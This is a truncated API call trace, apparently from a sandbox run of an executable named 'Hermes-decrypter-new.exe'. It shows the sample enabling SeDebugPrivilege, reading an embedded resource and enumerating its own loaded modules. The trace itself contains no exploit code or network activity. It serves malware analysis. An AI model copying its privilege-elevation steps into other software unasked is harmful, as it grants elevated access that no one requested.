GetCurrentProcess () returned 0xffffffff [0272.502] GetCurrentProcess () returned 0xffffffff [0272.503] GetCurrentProcess () returned 0xffffffff [0272.503] GetCurrentProcess () returned 0xffffffff [0272.505] GetCurrentProcess () returned 0xffffffff [0272.505] GetCurrentProcess () returned 0xffffffff [0272.509] GetCurrentProcess () returned 0xffffffff [0272.509] GetCurrentProcess () returned 0xffffffff [0272.510] GetCurrentProcess () returned 0xffffffff [0272.510] GetCurrentProcess () returned 0xffffffff [0272.514] GetCurrentProcess () returned 0xffffffff [0272.514] GetCurrentProcess () returned 0xffffffff [0272.515] GetCurrentProcess () returned 0xffffffff [0272.515] GetCurrentProcess () returned 0xffffffff [0272.516] GetCurrentProcess () returned 0xffffffff [0272.517] GetCurrentProcess () returned 0xffffffff [0272.520] GetCurrentProcess () returned 0xffffffff [0272.520] GetCurrentProcess () returned 0xffffffff [0272.593] SysStringByteLen (bstr="_._") returned 0x6 [0272.621] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x0) returned 0xd53458 [0272.623] SysStringByteLen (bstr="___") returned 0x6 [0272.641] GetCurrentProcess () returned 0xffffffff [0272.641] GetCurrentProcess () returned 0xffffffff [0272.642] GetCurrentProcess () returned 0xffffffff [0272.643] GetCurrentProcess () returned 0xffffffff [0272.900] GetCurrentProcess () returned 0xffffffff [0272.901] GetCurrentProcess () returned 0xffffffff [0272.933] GetCurrentProcess () returned 0xffffffff [0272.934] GetCurrentProcess () returned 0xffffffff [0273.176] GetCurrentProcess () returned 0xffffffff [0273.177] GetCurrentProcess () returned 0xffffffff [0273.668] CoTaskMemAlloc (cb=0x8) returned 0xd7b6c8 [0273.729] GetCurrentProcessId () returned 0xe08 [0273.736] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x19cae4 | out: lpLuid=0x19cae4*(LowPart=0x14, HighPart=0)) returned 1 [0273.738] GetCurrentProcess () returned 0xffffffff [0273.738] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x19cae0 | out: TokenHandle=0x19cae0*=0x2f4) returned 1 [0273.738] AdjustTokenPrivileges (in: TokenHandle=0x2f4, DisableAllPrivileges=0, NewState=0x2ec5320*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0273.739] CloseHandle (hObject=0x2f4) returned 1 [0273.740] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe08) returned 0x2f4 [0273.745] GetCurrentProcess () returned 0xffffffff [0273.745] GetCurrentProcess () returned 0xffffffff [0273.746] GetCurrentProcess () returned 0xffffffff [0273.746] GetCurrentProcess () returned 0xffffffff [0273.747] EnumProcessModules (in: hProcess=0x2f4, lphModule=0x2ec5364, cb=0x100, lpcbNeeded=0x19d254 | out: lphModule=0x2ec5364, lpcbNeeded=0x19d254) returned 1 [0273.748] GetModuleInformation (in: hProcess=0x2f4, hModule=0x400000, lpmodinfo=0x2ec54a4, cb=0xc | out: lpmodinfo=0x2ec54a4*(lpBaseOfDll=0x400000, SizeOfImage=0x8d5000, EntryPoint=0x839a87)) returned 1 [0273.749] CoTaskMemAlloc (cb=0x804) returned 0xd7d0a8 [0273.749] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x400000, lpBaseName=0xd7d0a8, nSize=0x800 | out: lpBaseName="Hermes-decrypter-new.exe") returned 0x18 [0273.750] CoTaskMemFree (pv=0xd7d0a8) [0273.750] CoTaskMemAlloc (cb=0x804) returned 0xd7d0a8 [0273.750] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x400000, lpFilename=0xd7d0a8, nSize=0x800 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0273.750] CoTaskMemFree (pv=0xd7d0a8) [0273.751] CloseHandle (hObject=0x2f4) returned 1 [0273.763] FindResourceA (hModule=0x400000, lpName="__", lpType=0xa) returned 0xe60524 [0273.772] GetCurrentProcessId () returned 0xe08 [0273.823] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe08) returned 0x2f4 [0273.824] EnumProcessModules (in: hProcess=0x2f4, lphModule=0x2ec78c4, cb=0x100, lpcbNeeded=0x19d260 | out: lphModule=0x2ec78c4, lpcbNeeded=0x19d260) returned 1 [0273.824] GetModuleInformation (in: hProcess=0x2f4, hModule=0x400000, lpmodinfo=0x2ec7a04, cb=0xc | out: lpmodinfo=0x2ec7a04*(lpBaseOfDll=0x400000, SizeOfImage=0x8d5000, EntryPoint=0x839a87)) returned 1 [0273.824] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.824] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x400000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="Hermes-decrypter-new.exe") returned 0x18 [0273.824] CoTaskMemFree (pv=0xd7fb50) [0273.824] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.824] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x400000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0273.824] CoTaskMemFree (pv=0xd7fb50) [0273.824] GetModuleInformation (in: hProcess=0x2f4, hModule=0x77260000, lpmodinfo=0x2ec9b50, cb=0xc | out: lpmodinfo=0x2ec9b50*(lpBaseOfDll=0x77260000, SizeOfImage=0x18e000, EntryPoint=0x0)) returned 1 [0273.825] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.825] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x77260000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0273.825] CoTaskMemFree (pv=0xd7fb50) [0273.825] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.825] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x77260000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0273.825] CoTaskMemFree (pv=0xd7fb50) [0273.825] GetModuleInformation (in: hProcess=0x2f4, hModule=0x77190000, lpmodinfo=0x2ecbc54, cb=0xc | out: lpmodinfo=0x2ecbc54*(lpBaseOfDll=0x77190000, SizeOfImage=0xd0000, EntryPoint=0x771a06a0)) returned 1 [0273.825] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.825] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x77190000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="KERNEL32.DLL") returned 0xc [0273.825] CoTaskMemFree (pv=0xd7fb50) [0273.825] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.825] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x77190000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNEL32.DLL" (normalized: "c:\\windows\\system32\\kernel32.dll")) returned 0x20 [0273.825] CoTaskMemFree (pv=0xd7fb50) [0273.825] GetModuleInformation (in: hProcess=0x2f4, hModule=0x76850000, lpmodinfo=0x2ecdd68, cb=0xc | out: lpmodinfo=0x2ecdd68*(lpBaseOfDll=0x76850000, SizeOfImage=0x1c2000, EntryPoint=0x7693ff30)) returned 1 [0273.826] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.826] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x76850000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0273.826] CoTaskMemFree (pv=0xd7fb50) [0273.826] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.826] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x76850000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNELBASE.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")) returned 0x22 [0273.826] CoTaskMemFree (pv=0xd7fb50) [0273.826] GetModuleInformation (in: hProcess=0x2f4, hModule=0x73c80000, lpmodinfo=0x2ecfe84, cb=0xc | out: lpmodinfo=0x2ecfe84*(lpBaseOfDll=0x73c80000, SizeOfImage=0x93000, EntryPoint=0x73cb4270)) returned 1 [0273.826] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.826] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x73c80000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="apphelp.dll") returned 0xb [0273.826] CoTaskMemFree (pv=0xd7fb50) [0273.826] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.826] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x73c80000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")) returned 0x1f [0273.826] CoTaskMemFree (pv=0xd7fb50) [0273.826] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74ab0000, lpmodinfo=0x2ed1fbc, cb=0xc | out: lpmodinfo=0x2ed1fbc*(lpBaseOfDll=0x74ab0000, SizeOfImage=0xf3000, EntryPoint=0x74aea100)) returned 1 [0273.827] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.827] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74ab0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0273.827] CoTaskMemFree (pv=0xd7fb50) [0273.827] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.827] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74ab0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")) returned 0x1d [0273.827] CoTaskMemFree (pv=0xd7fb50) [0273.827] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74ff0000, lpmodinfo=0x2ed40c0, cb=0xc | out: lpmodinfo=0x2ed40c0*(lpBaseOfDll=0x74ff0000, SizeOfImage=0x238000, EntryPoint=0x7510e060)) returned 1 [0273.827] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.827] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74ff0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="combase.dll") returned 0xb [0273.827] CoTaskMemFree (pv=0xd7fb50) [0273.827] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.827] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74ff0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")) returned 0x1f [0273.828] CoTaskMemFree (pv=0xd7fb50) [0273.828] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74190000, lpmodinfo=0x2ed61cc, cb=0xc | out: lpmodinfo=0x2ed61cc*(lpBaseOfDll=0x74190000, SizeOfImage=0x118000, EntryPoint=0x741ba3c0)) returned 1 [0273.828] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.828] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74190000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="ucrtbase.dll") returned 0xc [0273.828] CoTaskMemFree (pv=0xd7fb50) [0273.828] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.828] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74190000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")) returned 0x20 [0273.828] CoTaskMemFree (pv=0xd7fb50) [0273.828] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74960000, lpmodinfo=0x2ed82e0, cb=0xc | out: lpmodinfo=0x2ed82e0*(lpBaseOfDll=0x74960000, SizeOfImage=0xc0000, EntryPoint=0x7498fb20)) returned 1 [0273.828] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.828] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74960000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0273.828] CoTaskMemFree (pv=0xd7fb50) [0273.828] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.828] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74960000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\RPCRT4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")) returned 0x1e [0273.829] CoTaskMemFree (pv=0xd7fb50) [0273.829] GetModuleInformation (in: hProcess=0x2f4, hModule=0x73d30000, lpmodinfo=0x2eda438, cb=0xc | out: lpmodinfo=0x2eda438*(lpBaseOfDll=0x73d30000, SizeOfImage=0x20000, EntryPoint=0x73d3c9a0)) returned 1 [0273.829] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.829] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x73d30000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0273.829] CoTaskMemFree (pv=0xd7fb50) [0273.829] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.829] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x73d30000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SspiCli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")) returned 0x1f [0273.829] CoTaskMemFree (pv=0xd7fb50) [0273.829] GetModuleInformation (in: hProcess=0x2f4, hModule=0x73d20000, lpmodinfo=0x2edc544, cb=0xc | out: lpmodinfo=0x2edc544*(lpBaseOfDll=0x73d20000, SizeOfImage=0xa000, EntryPoint=0x73d22a00)) returned 1 [0273.829] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.829] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x73d20000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0273.829] CoTaskMemFree (pv=0xd7fb50) [0273.829] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.829] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x73d20000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\CRYPTBASE.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")) returned 0x21 [0273.830] CoTaskMemFree (pv=0xd7fb50) [0273.830] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74ea0000, lpmodinfo=0x2ede658, cb=0xc | out: lpmodinfo=0x2ede658*(lpBaseOfDll=0x74ea0000, SizeOfImage=0x57000, EntryPoint=0x74edde40)) returned 1 [0273.830] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.830] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74ea0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="bcryptPrimitives.dll") returned 0x14 [0273.830] CoTaskMemFree (pv=0xd7fb50) [0273.830] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.830] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74ea0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\bcryptPrimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")) returned 0x28 [0273.830] CoTaskMemFree (pv=0xd7fb50) [0273.830] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74f00000, lpmodinfo=0x2ee078c, cb=0xc | out: lpmodinfo=0x2ee078c*(lpBaseOfDll=0x74f00000, SizeOfImage=0x41000, EntryPoint=0x74f13400)) returned 1 [0273.830] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.830] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74f00000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0273.830] CoTaskMemFree (pv=0xd7fb50) [0273.831] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.831] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74f00000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")) returned 0x1f [0273.831] CoTaskMemFree (pv=0xd7fb50) [0273.831] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74850000, lpmodinfo=0x2ee2898, cb=0xc | out: lpmodinfo=0x2ee2898*(lpBaseOfDll=0x74850000, SizeOfImage=0x21000, EntryPoint=0x74856900)) returned 1 [0273.831] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.831] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74850000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0273.831] CoTaskMemFree (pv=0xd7fb50) [0273.831] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.831] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74850000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\GDI32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")) returned 0x1d [0273.831] CoTaskMemFree (pv=0xd7fb50) [0273.831] GetModuleInformation (in: hProcess=0x2f4, hModule=0x73fb0000, lpmodinfo=0x2ee499c, cb=0xc | out: lpmodinfo=0x2ee499c*(lpBaseOfDll=0x73fb0000, SizeOfImage=0x158000, EntryPoint=0x7406a9c0)) returned 1 [0273.831] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.831] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x73fb0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="gdi32full.dll") returned 0xd [0273.831] CoTaskMemFree (pv=0xd7fb50) [0273.832] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.832] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x73fb0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll")) returned 0x21 [0273.832] CoTaskMemFree (pv=0xd7fb50) [0273.832] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74110000, lpmodinfo=0x2ee6ab0, cb=0xc | out: lpmodinfo=0x2ee6ab0*(lpBaseOfDll=0x74110000, SizeOfImage=0x79000, EntryPoint=0x74124180)) returned 1 [0273.832] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.832] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74110000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="msvcp_win.dll") returned 0xd [0273.832] CoTaskMemFree (pv=0xd7fb50) [0273.832] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.832] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74110000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll")) returned 0x21 [0273.832] CoTaskMemFree (pv=0xd7fb50) [0273.832] GetModuleInformation (in: hProcess=0x2f4, hModule=0x765c0000, lpmodinfo=0x2ee8bc4, cb=0xc | out: lpmodinfo=0x2ee8bc4*(lpBaseOfDll=0x765c0000, SizeOfImage=0x13c000, EntryPoint=0x765eb3d0)) returned 1 [0273.832] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.832] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x765c0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0273.832] CoTaskMemFree (pv=0xd7fb50) [0273.833] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.833] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x765c0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\USER32.dll" (normalized: "c:\\windows\\system32\\user32.dll")) returned 0x1e [0273.833] CoTaskMemFree (pv=0xd7fb50) [0273.833] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75230000, lpmodinfo=0x2eead5c, cb=0xc | out: lpmodinfo=0x2eead5c*(lpBaseOfDll=0x75230000, SizeOfImage=0x16000, EntryPoint=0x0)) returned 1 [0273.833] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.833] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75230000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="win32u.dll") returned 0xa [0273.833] CoTaskMemFree (pv=0xd7fb50) [0273.833] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.833] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75230000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll")) returned 0x1e [0273.833] CoTaskMemFree (pv=0xd7fb50) [0273.833] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74e00000, lpmodinfo=0x2eece68, cb=0xc | out: lpmodinfo=0x2eece68*(lpBaseOfDll=0x74e00000, SizeOfImage=0x96000, EntryPoint=0x74e38f60)) returned 1 [0273.833] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.833] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74e00000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0273.833] CoTaskMemFree (pv=0xd7fb50) [0273.833] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.834] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74e00000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\OLEAUT32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")) returned 0x20 [0273.834] CoTaskMemFree (pv=0xd7fb50) [0273.834] GetModuleInformation (in: hProcess=0x2f4, hModule=0x73c70000, lpmodinfo=0x2eeef7c, cb=0xc | out: lpmodinfo=0x2eeef7c*(lpBaseOfDll=0x73c70000, SizeOfImage=0xf000, EntryPoint=0x73c72bd0)) returned 1 [0273.834] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.834] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x73c70000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="WTSAPI32.dll") returned 0xc [0273.834] CoTaskMemFree (pv=0xd7fb50) [0273.834] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.834] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x73c70000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\WTSAPI32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")) returned 0x20 [0273.834] CoTaskMemFree (pv=0xd7fb50) [0273.834] GetModuleInformation (in: hProcess=0x2f4, hModule=0x76cb0000, lpmodinfo=0x2ef1090, cb=0xc | out: lpmodinfo=0x2ef1090*(lpBaseOfDll=0x76cb0000, SizeOfImage=0xbd000, EntryPoint=0x76ce55e0)) returned 1 [0273.834] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.834] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x76cb0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0273.835] CoTaskMemFree (pv=0xd7fb50) [0273.835] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.835] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x76cb0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")) returned 0x1e [0273.835] CoTaskMemFree (pv=0xd7fb50) [0273.835] GetModuleInformation (in: hProcess=0x2f4, hModule=0x76b20000, lpmodinfo=0x2ef319c, cb=0xc | out: lpmodinfo=0x2ef319c*(lpBaseOfDll=0x76b20000, SizeOfImage=0x25000, EntryPoint=0x76b247d0)) returned 1 [0273.835] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.835] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x76b20000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0273.835] CoTaskMemFree (pv=0xd7fb50) [0273.835] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.835] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x76b20000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0273.835] CoTaskMemFree (pv=0xd7fb50) [0273.835] GetModuleInformation (in: hProcess=0x2f4, hModule=0x76b50000, lpmodinfo=0x2ef52a0, cb=0xc | out: lpmodinfo=0x2ef52a0*(lpBaseOfDll=0x76b50000, SizeOfImage=0xe000, EntryPoint=0x76b53e30)) returned 1 [0273.835] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.835] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x76b50000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="kernel.appcore.dll") returned 0x12 [0273.836] CoTaskMemFree (pv=0xd7fb50) [0273.836] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.836] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x76b50000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")) returned 0x26 [0273.836] CoTaskMemFree (pv=0xd7fb50) [0273.836] GetModuleInformation (in: hProcess=0x2f4, hModule=0x73bf0000, lpmodinfo=0x2ef73cc, cb=0xc | out: lpmodinfo=0x2ef73cc*(lpBaseOfDll=0x73bf0000, SizeOfImage=0x78000, EntryPoint=0x73c285b0)) returned 1 [0273.836] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.836] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x73bf0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0273.836] CoTaskMemFree (pv=0xd7fb50) [0273.836] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.836] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x73bf0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0273.836] CoTaskMemFree (pv=0xd7fb50) [0273.836] GetModuleInformation (in: hProcess=0x2f4, hModule=0x73b90000, lpmodinfo=0x2ef94d8, cb=0xc | out: lpmodinfo=0x2ef94d8*(lpBaseOfDll=0x73b90000, SizeOfImage=0x55000, EntryPoint=0x73bc0a30)) returned 1 [0273.836] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.837] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x73b90000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="mscoree.dll") returned 0xb [0273.837] CoTaskMemFree (pv=0xd7fb50) [0273.837] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.837] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x73b90000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0273.837] CoTaskMemFree (pv=0xd7fb50) [0273.837] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74d30000, lpmodinfo=0x2efb5e4, cb=0xc | out: lpmodinfo=0x2efb5e4*(lpBaseOfDll=0x74d30000, SizeOfImage=0x77000, EntryPoint=0x74d4e5b0)) returned 1 [0273.837] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.837] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74d30000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0273.837] CoTaskMemFree (pv=0xd7fb50) [0273.837] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.837] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74d30000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ADVAPI32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")) returned 0x20 [0273.837] CoTaskMemFree (pv=0xd7fb50) [0273.837] GetModuleInformation (in: hProcess=0x2f4, hModule=0x73b10000, lpmodinfo=0x2efd6f8, cb=0xc | out: lpmodinfo=0x2efd6f8*(lpBaseOfDll=0x73b10000, SizeOfImage=0x7d000, EntryPoint=0x73b13c80)) returned 1 [0273.838] CoTaskMemAlloc 